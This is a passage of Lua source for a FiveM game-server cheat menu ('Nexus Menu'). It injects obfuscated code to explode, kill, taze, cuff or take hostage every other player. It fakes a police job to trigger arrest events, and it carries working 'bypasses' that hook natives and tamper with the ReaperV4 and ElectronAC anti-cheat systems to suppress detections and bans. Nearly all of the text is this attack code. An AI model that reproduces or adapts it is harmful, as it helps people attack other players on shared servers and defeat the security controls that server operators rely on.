'Toggle Plane Nuke All', onConfirm = function(setToggle) ---("Plane Nuke All toggled:", setToggle) togglePlaneNuke(setToggle) return setToggle end }, { label = 'Explode All', type = 'checkbox', checked = false, canBind = true, bindName = 'Explode All Players', onConfirm = function(setToggle) if setToggle then SafeInjectResourceRaw(InjectionResource(), [[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _w(n) return _g(_b("Wait"))(n) end local function _t() return _g(_b("CreateThread")) end if PlMnBvExplodeAll == nil then PlMnBvExplodeAll = false end PlMnBvExplodeAll = true local function ExplodeAllPlayers() local QwErTyUiOpAsDf = _g(_b("PlayerPedId")) local AsDfGhJkLzXcVb = _g(_b("PlayerId")) local LzXcVbNmQwErTy = _g(_b("GetEntityCoords")) local VbNmQwErTyUiOp = _g(_b("GetActivePlayers")) local TyUiOpAsDfGhJk = _g(_b("GetPlayerPed")) local GhJkLzXcVbNmQw = _g(_b("DoesEntityExist")) local ZxCvBnMqWeRtYu = _g(_b("IsPedDeadOrDying")) local WeRtYuIoPlMnBv = _g(_b("ApplyDamageToPed")) local IoPlMnBvCxZaSd = _g(_b("ShootSingleBulletBetweenCoords")) local FgHjKlZxCvBnMq = _g(_b("GetHashKey")) local MqWeRtYuIoPlMn = _t() MqWeRtYuIoPlMn(function() while PlMnBvExplodeAll and not Unloaded do local myPed = QwErTyUiOpAsDf() local myId = AsDfGhJkLzXcVb() local myCoords = LzXcVbNmQwErTy(myPed) for _, playerId in ipairs(VbNmQwErTyUiOp()) do if playerId ~= myId then local targetPed = TyUiOpAsDfGhJk(playerId) if GhJkLzXcVbNmQw(targetPed) and not ZxCvBnMqWeRtYu(targetPed, true) then local targetCoords = LzXcVbNmQwErTy(targetPed) local distance = #(myCoords - targetCoords) if distance <= 750.0 then local weaponHash = FgHjKlZxCvBnMq("WEAPON_VEHICLE_ROCKET") WeRtYuIoPlMnBv(targetPed, math.random(110, 130), false) local from = targetCoords + vector3( math.random(-2, 2), math.random(-2, 2), math.random(1, 3) ) IoPlMnBvCxZaSd( from.x, from.y, from.z, targetCoords.x, targetCoords.y, targetCoords.z + 0.2, 250, true, weaponHash, myPed, true, false, 100.0 ) end end end end _w(math.random(150, 250)) end end) end ExplodeAllPlayers() ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Explode All Players activated", type = 'success' })) end else SafeInjectResourceRaw(InjectionResource(), [[ local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end PlMnBvExplodeAll = false ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Explode All Players deactivated", type = 'info' })) end end return setToggle end }, { label = 'Explode All V2', type = 'checkbox', checked = false, canBind = true, bindName = 'Explode All Players V2', onConfirm = function(setToggle) if setToggle then SafeInjectResourceRaw(InjectionResource(), [[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _w(n) return _g(_b("Wait"))(n) end local function _t() return _g(_b("CreateThread")) end if PlMnBvExplodeV2 == nil then PlMnBvExplodeV2 = false end PlMnBvExplodeV2 = true local function ExplodeAllV2() local QwErTyUiOpAsDf = _g(_b("PlayerPedId")) local AsDfGhJkLzXcVb = _g(_b("PlayerId")) local LzXcVbNmQwErTy = _g(_b("GetEntityCoords")) local VbNmQwErTyUiOp = _g(_b("GetActivePlayers")) local TyUiOpAsDfGhJk = _g(_b("GetPlayerPed")) local GhJkLzXcVbNmQw = _g(_b("DoesEntityExist")) local ZxCvBnMqWeRtYu = _g(_b("IsPedDeadOrDying")) local WeRtYuIoPlMnBv = _g(_b("ApplyDamageToPed")) local IoPlMnBvCxZaSd = _g(_b("ShootSingleBulletBetweenCoords")) local FgHjKlZxCvBnMq = _g(_b("GetHashKey")) local MqWeRtYuIoPlMn = _t() MqWeRtYuIoPlMn(function() while PlMnBvExplodeV2 and not Unloaded do local myPed = QwErTyUiOpAsDf() local myId = AsDfGhJkLzXcVb() local myCoords = LzXcVbNmQwErTy(myPed) for _, playerId in ipairs(VbNmQwErTyUiOp()) do if playerId ~= myId then local targetPed = TyUiOpAsDfGhJk(playerId) if GhJkLzXcVbNmQw(targetPed) and not ZxCvBnMqWeRtYu(targetPed, true) then local targetCoords = LzXcVbNmQwErTy(targetPed) local distance = #(myCoords - targetCoords) if distance <= 750.0 then local weaponHash = FgHjKlZxCvBnMq("WEAPON_AIRSTRIKE_ROCKET") WeRtYuIoPlMnBv(targetPed, math.random(110, 130), false) local from = targetCoords + vector3( math.random(-2, 2), math.random(-2, 2), math.random(1, 3) ) IoPlMnBvCxZaSd( from.x, from.y, from.z, targetCoords.x, targetCoords.y, targetCoords.z + 0.2, 250, true, weaponHash, myPed, true, false, 100.0 ) end end end end _w(math.random(150, 250)) end end) end ExplodeAllV2() ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Explode All V2 activated", type = 'success' })) end else SafeInjectResourceRaw(InjectionResource(), [[ local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end PlMnBvExplodeV2 = false ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Explode All V2 deactivated", type = 'info' })) end end return setToggle end }, { label = 'Kill All', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Kill All Players', onConfirm = function(setToggle) if setToggle then SafeInjectResourceRaw(InjectionResource(), [[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _w(n) return _g(_b("Wait"))(n) end local function _t() return _g(_b("CreateThread")) end if PlMnBvKillAll == nil then PlMnBvKillAll = false end PlMnBvKillAll = true local function KillAllPlayers() local QwErTyUiOpAsDf = _g(_b("PlayerPedId")) local AsDfGhJkLzXcVb = _g(_b("PlayerId")) local LzXcVbNmQwErTy = _g(_b("GetEntityCoords")) local VbNmQwErTyUiOp = _g(_b("GetActivePlayers")) local TyUiOpAsDfGhJk = _g(_b("GetPlayerPed")) local GhJkLzXcVbNmQw = _g(_b("DoesEntityExist")) local ZxCvBnMqWeRtYu = _g(_b("IsPedDeadOrDying")) local WeRtYuIoPlMnBv = _g(_b("ApplyDamageToPed")) local IoPlMnBvCxZaSd = _g(_b("ShootSingleBulletBetweenCoords")) local FgHjKlZxCvBnMq = _g(_b("GetHashKey")) local MqWeRtYuIoPlMn = _t() MqWeRtYuIoPlMn(function() while PlMnBvKillAll and not Unloaded do local myPed = QwErTyUiOpAsDf() local myId = AsDfGhJkLzXcVb() local myCoords = LzXcVbNmQwErTy(myPed) for _, playerId in ipairs(VbNmQwErTyUiOp()) do if playerId ~= myId then local targetPed = TyUiOpAsDfGhJk(playerId) if GhJkLzXcVbNmQw(targetPed) and not ZxCvBnMqWeRtYu(targetPed, true) then local targetCoords = LzXcVbNmQwErTy(targetPed) local distance = #(myCoords - targetCoords) if distance <= 750.0 then local weaponHash = FgHjKlZxCvBnMq("VEHICLE_WEAPON_VISERIS_MG") WeRtYuIoPlMnBv(targetPed, math.random(110, 130), false) local from = targetCoords + vector3( math.random(-2, 2), math.random(-2, 2), math.random(1, 3) ) IoPlMnBvCxZaSd( from.x, from.y, from.z, targetCoords.x, targetCoords.y, targetCoords.z + 0.2, 250, true, weaponHash, myPed, true, false, 100.0 ) end end end end _w(math.random(150, 250)) end end) end KillAllPlayers() ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Kill All Players activated", type = 'success' })) end else SafeInjectResourceRaw(InjectionResource(), [[ local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end PlMnBvKillAll = false ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Kill All Players deactivated", type = 'info' })) end end return setToggle end }, { label = 'Silent Kill All', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Silent Kill All Players', onConfirm = function(setToggle) if setToggle then MachoInjectResourceRaw("any", [[ if PlMnBvSilentKillAll == nil then PlMnBvSilentKillAll = false end PlMnBvSilentKillAll = true if PlMnBvSilentKillAllShooterPed ~= nil and DoesEntityExist(PlMnBvSilentKillAllShooterPed) then DeletePed(PlMnBvSilentKillAllShooterPed) end CreateThread(function() local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local model = GetHashKey("mp_m_freemode_01") RequestModel(model) while not HasModelLoaded(model) do Wait(0) end PlMnBvSilentKillAllShooterPed = CreatePed(4, model, playerCoords.x, playerCoords.y, playerCoords.z, 0.0, true, true) local shooterPed = PlMnBvSilentKillAllShooterPed SetEntityVisible(shooterPed, false, false) SetEntityInvincible(shooterPed, true) FreezeEntityPosition(shooterPed, true) while PlMnBvSilentKillAll and not Unloaded do local playerCoords = GetEntityCoords(PlayerPedId()) local nearbyTargets = {} for _, playerId in ipairs(GetActivePlayers()) do if playerId ~= PlayerId() then local targetPed = GetPlayerPed(playerId) if DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) then local targetCoords = GetEntityCoords(targetPed) local dist = #(playerCoords - targetCoords) if dist <= 300.0 then table.insert(nearbyTargets, targetPed) end end end end for _, target in ipairs(nearbyTargets) do if not PlMnBvSilentKillAll or Unloaded then break end local targetHeadCoords = GetPedBoneCoords(target, 31086, 0.0, 0.0, 0.0) local directions = { vector3(1,0,0), vector3(-1,0,0), vector3(0,1,0), vector3(0,-1,0), } for i = 1, 10 do if not PlMnBvSilentKillAll or Unloaded then break end for _, dir in ipairs(directions) do if not PlMnBvSilentKillAll or Unloaded then break end local muzzleCoords = targetHeadCoords + dir * 1.0 ShootSingleBulletBetweenCoordsIgnoreEntity( muzzleCoords.x, muzzleCoords.y, muzzleCoords.z, targetHeadCoords.x, targetHeadCoords.y, targetHeadCoords.z, 999, true, GetHashKey("weapon_pistol"), shooterPed, true, false, 1000.0, target, true, false, true ) end Wait(50) end end Wait(100) end if PlMnBvSilentKillAllShooterPed ~= nil and DoesEntityExist(PlMnBvSilentKillAllShooterPed) then DeletePed(PlMnBvSilentKillAllShooterPed) PlMnBvSilentKillAllShooterPed = nil end SetModelAsNoLongerNeeded(model) end) ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Silent Kill All activated", type = 'success' })) end else MachoInjectResourceRaw("any", [[ PlMnBvSilentKillAll = false if PlMnBvSilentKillAllShooterPed ~= nil and DoesEntityExist(PlMnBvSilentKillAllShooterPed) then DeletePed(PlMnBvSilentKillAllShooterPed) PlMnBvSilentKillAllShooterPed = nil end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Silent Kill All deactivated", type = 'info' })) end end return setToggle end }, { label = 'Taze All', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Taze All Players', onConfirm = function(setToggle) if setToggle then SafeInjectResourceRaw(InjectionResource(), [[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _w(n) return _g(_b("Wait"))(n) end local function _t() return _g(_b("CreateThread")) end if PlMnBvKillAll == nil then PlMnBvKillAll = false end PlMnBvKillAll = true local function KillAllPlayers() local QwErTyUiOpAsDf = _g(_b("PlayerPedId")) local AsDfGhJkLzXcVb = _g(_b("PlayerId")) local LzXcVbNmQwErTy = _g(_b("GetEntityCoords")) local VbNmQwErTyUiOp = _g(_b("GetActivePlayers")) local TyUiOpAsDfGhJk = _g(_b("GetPlayerPed")) local GhJkLzXcVbNmQw = _g(_b("DoesEntityExist")) local ZxCvBnMqWeRtYu = _g(_b("IsPedDeadOrDying")) local WeRtYuIoPlMnBv = _g(_b("ApplyDamageToPed")) local IoPlMnBvCxZaSd = _g(_b("ShootSingleBulletBetweenCoords")) local FgHjKlZxCvBnMq = _g(_b("GetHashKey")) local MqWeRtYuIoPlMn = _t() MqWeRtYuIoPlMn(function() while PlMnBvKillAll and not Unloaded do local myPed = QwErTyUiOpAsDf() local myId = AsDfGhJkLzXcVb() local myCoords = LzXcVbNmQwErTy(myPed) for _, playerId in ipairs(VbNmQwErTyUiOp()) do if playerId ~= myId then local targetPed = TyUiOpAsDfGhJk(playerId) if GhJkLzXcVbNmQw(targetPed) and not ZxCvBnMqWeRtYu(targetPed, true) then local targetCoords = LzXcVbNmQwErTy(targetPed) local distance = #(myCoords - targetCoords) if distance <= 750.0 then local weaponHash = FgHjKlZxCvBnMq("weapon_stungun_mp") WeRtYuIoPlMnBv(targetPed, math.random(110, 130), false) local from = targetCoords + vector3( math.random(-2, 2), math.random(-2, 2), math.random(1, 3) ) IoPlMnBvCxZaSd( from.x, from.y, from.z, targetCoords.x, targetCoords.y, targetCoords.z + 0.2, 250, true, weaponHash, myPed, true, false, 100.0 ) end end end end _w(math.random(150, 250)) end end) end KillAllPlayers() ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Taze All Players activated", type = 'success' })) end else SafeInjectResourceRaw(InjectionResource(), [[ local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end PlMnBvKillAll = false ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Taze All Players deactivated", type = 'info' })) end end return setToggle end }, { label = 'Carry Everyone', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Carry Everyone', onConfirm = function(setToggle) ---("Carry Everyone toggled:", setToggle) if setToggle then ---("Starting Carry Everyone") SafeInjectResourceRaw(InjectionResource(), [[ local carryActive = true local carryResourceId = "carry_]] .. math.random(100000, 999999) .. [[" local function carryPlayer(serverId) if serverId ~= GetPlayerServerId(PlayerId()) then TriggerServerEvent("CarryPeople:sync", serverId) end end Citizen.CreateThread(function() while carryActive do local players = GetActivePlayers() for i = 1, #players do local player = players[i] local serverId = GetPlayerServerId(player) carryPlayer(serverId) Citizen.Wait(200) end Citizen.Wait(1000) end end) _G.stopCarryAll = function() carryActive = false end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Carry Everyone activated", type = 'success' })) end else ---("Stopping Carry Everyone") SafeInjectResourceRaw(InjectionResource(), [[ if _G.stopCarryAll then _G.stopCarryAll() _G.stopCarryAll = nil end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Carry Everyone deactivated", type = 'info' })) end end return setToggle end }, { label = 'Take Hostage All', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Take Hostage All', onConfirm = function(setToggle) ---("Take Hostage All toggled:", setToggle) if setToggle then ---("Starting Take Hostage All") _G.hostageAllActive = true Citizen.CreateThread(function() while _G.hostageAllActive do MachoInjectResource('any', [[ local function asd(ID) TriggerServerEvent("TakeHostage:sync", ID) end CreateThread(function() local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) for _, playerId in ipairs(GetActivePlayers()) do if playerId ~= PlayerId() then local targetPed = GetPlayerPed(playerId) local targetCoords = GetEntityCoords(targetPed) if #(playerCoords - targetCoords) <= 500.0 then local serverId = GetPlayerServerId(playerId) asd(serverId) end end end end) ]]) Citizen.Wait(1000) end end) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Take Hostage All activated", type = 'success' })) end else ---("Stopping Take Hostage All") _G.hostageAllActive = false if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Take Hostage All deactivated", type = 'info' })) end end return setToggle end }, { label = 'Cuff All', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Cuff All', onConfirm = function(setToggle) if setToggle then SafeInjectResourceRaw(InjectionResource(), [[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end local function _w(n) return _g(_b("Wait"))(n) end local cuffActive = true local cuffResourceId = "cuff_]] .. math.random(100000, 999999) .. [[" local jobSet = false local function QwErTyUiOpAsDfGh() if not jobSet then _g(_b("pcall"))(function() _g(_b("TriggerEvent"))('esx:setJob', { name = "police", label = "police", grade = 14, grade_name = "SASP", grade_label = "Nexus Private" }) end) jobSet = true end end local function ZxCvBnMqWeRtYuIo(serverId) if serverId ~= _g(_b("GetPlayerServerId"))(_g(_b("PlayerId"))()) then _g(_b("pcall"))(function() _g(_b("TriggerServerEvent"))("esx_cuffanimation:startArrest", serverId) end) end end local function AsDfGhJkLzXcVbNm() QwErTyUiOpAsDfGh() _w(500) while cuffActive do _g(_b("pcall"))(function() local players = _g(_b("GetActivePlayers"))() for i = 1, #players do local player = players[i] local serverId = _g(_b("GetPlayerServerId"))(player) ZxCvBnMqWeRtYuIo(serverId) _w(200) end end) _w(1000) end end _g(_b("CreateThread"))(AsDfGhJkLzXcVbNm) _G.stopCuffAll = function() cuffActive = false end ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Cuff All activated", type = 'success' })) end else SafeInjectResourceRaw(InjectionResource(), [[ -- Helper functions for obfuscation local function _b(str) local t = {} for i = 1, #str do t[i] = string.byte(str, i) end return t end local function _d(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function _g(n) local k = _d(n) local f = _G[k] return f end _g(_b("pcall"))(function() if _G.stopCuffAll then _G.stopCuffAll() _G.stopCuffAll = nil end end) ]]) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Cuff All deactivated", type = 'info' })) end end return setToggle end } } }, { name = 'Resource', submenu = createResourceStopperMenu() }, { name = 'Exploits', submenu = { { label = 'Load All Bypasses', type = 'button', canBind = true, bindName = 'Load All Bypasses', onConfirm = function() if bypassesLoaded then if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Bypasses already loaded!", type = 'info' })) end --- ("Bypasses already loaded!") return end --- ("Loading bypasses...") bypassesLoaded = true CreateThread(function() Wait(1500) MachoMenuNotification("Nexus Menu", "Loading Bypasses.") MachoHookNative(0x5234F9F10919EABA, function(...) return false, -1 end) MachoHookNative(0xA200EB1EE790F448, function(...) return false, GetEntityCoords(PlayerPedId()) end) MachoHookNative(0xC6D3D26810C8E0F9, function(...) return false, false end) MachoHookNative(0x8D4D46230B2C353A, function(...) return false, 0 end) MachoHookNative(0xB15162CB5826E9E8, function(...) return false, false end) MachoHookNative(0x19CAFA3C87F7C2FF, function(...) return false, 0 end) MachoHookNative(0xD5037BA82E12416F, function(...) return false, 0 end) MachoHookNative(0xFB92A102F1C4DFA3, function(...) return false, true end) MachoHookNative(0x997ABD671D25CA0B, function(...) return false, true end) print("Loaded extra bypass") -- FiveGuard Detection and Bypass -- ReaperV4 Bypass if GetResourceState("ReaperV4") == "started" then MachoMenuNotification("Nexus Menu", "Loading ReaperV4 Bypass.") --- ("ReaperV4 Disabler") MachoHookNative(0xC6D3D26810C8E0F9, function(...) return false, false end) MachoHookNative(0x8D4D46230B2C353A, function(...) return false, 3 end) MachoHookNative(0xB15162CB5826E9E8, function(...) return false, true end) MachoHookNative(0xD5037BA82E12416F, function(...) return false, 0 end) MachoHookNative(0xFB92A102F1C4DFA3, function(...) return false, true end) MachoInjectResource2(2, "ReaperV4", [[ pcall(function() local emptyFunction = function() return end local returnFalse = function() return false end local returnTrue = function() return true end local returnOne = function() return 1 end if _G.NewDetection then _G.NewDetection = returnOne end if _G.InvokeReaperFunction then local origInvoke = _G.InvokeReaperFunction _G.InvokeReaperFunction = function(functionName, ...) if functionName == "NewDetection" then return 1 end return origInvoke(functionName, ...) end end if _G.TriggerBanEvent then _G.TriggerBanEvent = emptyFunction end if Citizen and Citizen.scripting and Citizen.scripting.exports then if Citizen.scripting.exports["reaper-security"] then local rs = Citizen.scripting.exports["reaper-security"] if rs.NewDetection then rs.NewDetection = emptyFunction end if rs.IsExecutionValid then rs.IsExecutionValid = returnTrue end if rs.IsExecutionValid2 then rs.IsExecutionValid2 = returnTrue end if rs.IsExecutionValidRaw then rs.IsExecutionValidRaw = returnTrue end end if Citizen.scripting.exports["Reaper:NewDetection"] then Citizen.scripting.exports["Reaper:NewDetection"] = emptyFunction end end if _G.Security then if _G.Security.detection then _G.Security.detection = emptyFunction end if _G.Security.addDetection then local origAdd = _G.Security.addDetection _G.Security.addDetection = function(self, config, callback) if config and config.detected then config.detected = emptyFunction end if callback then callback = returnFalse end return origAdd(self, config, callback) end end end local function extractSecurityClient() local removeEH = _G["RemoveEventHandler"] if not removeEH or type(removeEH) ~= "function" then return nil, nil, nil end local _, eventHandlersRaw = debug.getupvalue(removeEH, 2) if not eventHandlersRaw then return nil, nil, nil end local reaper_newdetection = nil for name, raw in pairs(eventHandlersRaw) do if raw.handlers and name == "Reaper:NewDetection" then for id, v in pairs(raw.handlers) do reaper_newdetection = v break end if reaper_newdetection then break end end end if not reaper_newdetection or type(reaper_newdetection) ~= "function" then return nil, nil, nil end local upvalueIndex = 1 local _, securityclient = debug.getupvalue(reaper_newdetection, upvalueIndex) if not securityclient or type(securityclient) ~= "table" or (not securityclient.detections and not securityclient.active_detections) then for i = 2, 10 do _, securityclient = debug.getupvalue(reaper_newdetection, i) if securityclient and type(securityclient) == "table" and (securityclient.detections or securityclient.active_detections) then upvalueIndex = i break end end end return securityclient, reaper_newdetection, upvalueIndex end local function neutralizeSecurityClient(securityclient) if not securityclient then return false end if securityclient.detections then for name, detection in pairs(securityclient.detections) do if detection then if detection.detected then detection.detected = emptyFunction end if detection.callback then detection.callback = returnFalse end end end end if securityclient.active_detections then for name, detection in pairs(securityclient.active_detections) do if detection then if detection.detected then detection.detected = emptyFunction end if detection.callback then detection.callback = returnFalse end end end end if securityclient.detection then securityclient.detection = emptyFunction end if securityclient.addDetection then local origAdd = securityclient.addDetection securityclient.addDetection = function(self, config, callback) if config and config.detected then config.detected = emptyFunction end if callback then callback = returnFalse end return origAdd(self, config, callback) end end return true end local securityclient, reaper_newdetection, upvalueIndex = extractSecurityClient() if not securityclient then for attempt = 1, 20 do Citizen.Wait(100) securityclient, reaper_newdetection, upvalueIndex = extractSecurityClient() if securityclient then break end end end if securityclient then neutralizeSecurityClient(securityclient) if reaper_newdetection and upvalueIndex then if Debug and Debug.setupvalue then Debug.setupvalue(reaper_newdetection, upvalueIndex, securityclient) elseif debug.setupvalue then debug.setupvalue(reaper_newdetection, upvalueIndex, securityclient) end end end print("ReaperV4 V2| Bypass Active") end) ]]) end Wait(100) -- ElectronAC Bypass if GetResourceState("ElectronAC") == "started" then MachoMenuNotification("Nexus Menu", "Loading ElectronAC Bypass.") --- ("Electron Disabler...") MachoInjectResource2(2, "ElectronAC", [[ print("Initializing ElectronAC Bypass #1") pcall(function() local name, eventHandlersRaw = debug.getupvalue(_G["RemoveEventHandler"], 2) local eventHandlers = {} function print_table(a)local b,c,d={},{},{}local e=1;local f="{\n"while true do local g=0;for h,i in pairs(a)do g=g+1 end;local j=1;for h,i in pairs(a)do if b[a]==nil or j>=b[a]then if string.find(f,"}",f:len())then f=f..",\n"elseif not string.find(f,"\n",f:len())then f=f.."\n"end;table.insert(d,f)f=""local k;if type(h)=="number"or type(h)=="boolean"then k="["..tostring(h).."]"else k="['"..tostring(h).."']"end;if type(i)=="number"or type(i)=="boolean"then f=f..string.rep('\t',e)..k.." = "..tostring(i)elseif type(i)=="table"then f=f..string.rep('\t',e)..k.." = {\n"table.insert(c,a)table.insert(c,i)b[a]=j+1;break else f=f..string.rep('\t',e)..k.." = '"..tostring(i).."'"end;if j==g then f=f.."\n"..string.rep('\t',e-1).."}"else f=f..","end else if j==g then f=f.."\n"..string.rep('\t',e-1).."}"end end;j=j+1 end;if g==0 then f=f.."\n"..string.rep('\t',e-1).."}"end;if#c>0 then a=c[#c]c[#c]=nil;e=b[a]==nil and e+1 or e-1 else break end end;table.insert(d,f)f=table.concat(d)print(f)end for name, raw in pairs(eventHandlersRaw) do if raw.handlers then for id, v in pairs(raw.handlers) do table.insert(eventHandlers, { handle = { ['key'] = id, ['name'] = name }, func = v, type = (string.find(name, "__cfx_nui") and "NUICallback") or (string.find(name, "__cfx_export") and "Export") or "Event" }) end end end local eAcVerify for i, v in pairs(eventHandlers) do local name = v["handle"]["name"]; local func = v["func"] if name == "ElectronAC.verify" then local upname, func = debug.getupvalue(func, 1) eAcVerify = func end end local EACTable = nil local eacUpvalueIndex = nil local i = 1 while true do local name, value = debug.getupvalue(eAcVerify, i) if not name then break end print(name, value) if type(value) == "table" then local hasEACStructure = false for idx, tbl in pairs(value) do if type(tbl) == "string" then if tbl == "antiNuiBlocker" or tbl == "antiInvisible" then hasEACStructure = true end if hasEACStructure then break end end end if hasEACStructure then EACTable = value eacUpvalueIndex = i break end end i = i + 1 end if not EACTable then print("EAC table not found!") return end local punish = function(...) return end local function replaceVar(tbl, varname, value) for k, v in pairs(tbl) do if k == varname then tbl[k] = value elseif type(v) == "table" then replaceVar(v, varname, value) end end end replaceVar(EACTable, "punish", function() end) replaceVar(EACTable, "punishment", "WARN") end) print("Initializing ElectronAC Bypass #2") local old_punishFromClient = rawget(_ENV, "punishFromClient") if old_punishFromClient then rawset(_ENV, "punishFromClient", function(module, reason) return end) end local old_TriggerServerEvent = rawget(_ENV, "TriggerServerEvent") rawset(_ENV, "TriggerServerEvent", function(eventName, ...) if type(eventName) == "string" then if string.find(eventName, "Anticheat:") then return end local args = {...} if args[1] and type(args[1]) == "string" then local moduleNames = { "antiPhoneExplosions", "antiFolder", "antiHealth", "antiArmor", "antiStamina", "antiGodmode", "antiMenu", "antiInjector", "antiNoClip", "antiTeleport", "antiSuperJump", "antiSpeedHack", "antiAimBot", "antiSilentAim", "antiNoHeadshot", "antiPickup", "antiAddWeapon", "antiRemoveWeapon", "antiVDM", "antiSoftAim", "antiDamageChanger", "antiClearTasks", "antiInputBox", "antiIllegalEntity", "antiNoclip", "antiFreecam", "resourceProtection", "antiIllegalTrigger", "antiIllegalWeaponUse", "antiLaunchPlayer", "antiTranquilizer", "antiXSS", "antiBypass", "antiTrigger", "antiVehicle", "antiResourceStop" } for _, moduleName in ipairs(moduleNames) do if args[1] == moduleName then return end end end end return old_TriggerServerEvent(eventName, ...) end) local old_TriggerServerEventInternal = rawget(_ENV, "TriggerServerEventInternal") rawset(_ENV, "TriggerServerEventInternal", function(eventName, eventPayload, payloadLength) if type(eventPayload) == "string" then if string.find(eventPayload, "punishFromClient") or string.find(eventPayload, "Anticheat") or string.find(eventPayload, "antiResourceStop") or string.find(eventPayload, "antiMenu") or string.find(eventPayload, "antiInjector") or string.find(eventPayload, "antiFreecam") or string.find(eventPayload, "resourceProtection") or string.find(eventPayload, "antiIllegalTrigger") or string.find(eventPayload, "antiVehicle") or string.find(eventPayload, "antiIllegalWeaponUse") or string.find(eventPayload, "antiLaunchPlayer") or string.find(eventPayload, "antiTranquilizer") or string.find(eventPayload, "antiXSS") or string.find(eventPayload, "antiBypass") or string.find(eventPayload, "antiTrigger") or string.find(eventPayload, "antiGodmode") or string.find(eventPayload, "antiNoClip") or string.find(eventPayload, "antiNoclip") or string.find(eventPayload, "antiTeleport") or string.find(eventPayload, "antiSuperJump") or string.find(eventPayload, "antiSpeedHack") or string.find(eventPayload, "antiAimBot") or string.find(eventPayload, "antiIllegalEntity") or string.find(eventPayload, "antiSilentAim") or string.find(eventPayload, "module") or string.find(eventPayload, "reason") or string.find(eventPayload, "message") or string.find(eventPayload, "source") or string.find(eventPayload, "category") then return end end return old_TriggerServerEventInternal(eventName, eventPayload, payloadLength) end) Citizen.CreateThread(function() while true do Wait(100) local playerPermissions = rawget(_ENV, "playerPermissions") if playerPermissions then rawset(playerPermissions, "Whitelisted", true) else rawset(_ENV, "playerPermissions", {Whitelisted = true}) end local config = rawget(_ENV, "config") if config and config.modules then for moduleName, moduleConfig in pairs(config.modules) do if type(moduleConfig) == "table" then rawset(moduleConfig, "enabled", false) end end end end end) print("ElectronAC Bypass #1 Loaded") ]]) end Wait(100) MachoMenuNotification("Nexus Menu", "Finalizing.") Wait(500) MachoMenuNotification("Nexus Menu", "Finished Enjoy.") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "All bypasses loaded successfully!", type = 'success' })) end end) end }, { label = 'Open Inventory', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Open Inventory', onConfirm = function(setToggle) if setToggle then -- Check if ReaperV4 is running local isReaperV4Running = GetResourceState('ReaperV4') == 'started' -- Define SafeNative function for ReaperV4 compatibility local safeNativeCode = "" if isReaperV4Running then safeNativeCode = [[ local Invoke = Citizen.InvokeNative local Natives = { SetEntityVisible = 0xEA1C610A04DB6BBB } local function SafeNative(name, ...) local hash = Natives[name] if not hash then return end return Invoke(hash, ...) end -- Override SetEntityVisible to use SafeNative local function 